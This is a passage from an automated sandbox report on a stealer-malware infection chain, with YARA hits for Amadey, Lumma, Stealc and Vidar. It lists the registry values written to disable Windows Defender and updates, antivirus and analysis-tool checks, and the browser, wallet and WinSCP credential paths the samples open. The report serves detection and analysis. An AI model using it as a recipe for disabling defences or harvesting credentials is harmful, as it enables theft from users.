Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Queries volume information: C:\ VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\System32\WinMetadata\Windows.Globalization.winmd VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Controls.Ribbon\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Controls.Ribbon.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.WindowsRuntime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.WindowsRuntime.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\System32\WinMetadata\Windows.Data.winmd VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\dciqrtt\22129f7e57cc4f01a77377b20bd0ace2.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WPFED52.tmp VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019457001\fde7a493e9.exe	Queries volume information: unknown VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0027CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0027CBEA

Source: C:\Users\user\AppData\Local\Temp\1019453001\0016128732.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1019462001\3c08a943ba.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: 03f60c0f6e.exe, 00000009.00000002.2856372568.000000000119A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1019454001\03f60c0f6e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019459001\98d75c3c44.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1019464001\ebd07c8db5.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[4].exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1775834203.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1727101383.0000000000261000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1765829717.00000000000C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: Process Memory Space: 03f60c0f6e.exe PID: 2688, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000026.00000003.3162743621.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3319476192.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 18.0.3ca42ff3133e49daac5eafe0960f7af0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: c534667f0b.exe PID: 7536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3ca42ff3133e49daac5eafe0960f7af0.exe PID: 6276, type: MEMORYSTR
Source: Yara match	File source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 03f60c0f6e.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 03f60c0f6e.exe	String found in binary or memory: Wallets/Exodus
Source: 03f60c0f6e.exe, 00000009.00000002.2858415028.0000000003690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 03f60c0f6e.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 03f60c0f6e.exe	String found in binary or memory: keystore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019460001\fa82de29a9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp\key4.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1019463001\17e7d05a4e.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db
Source: C:\dciqrtt\3ca42ff3133e49daac5eafe0960f7af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\key4.db
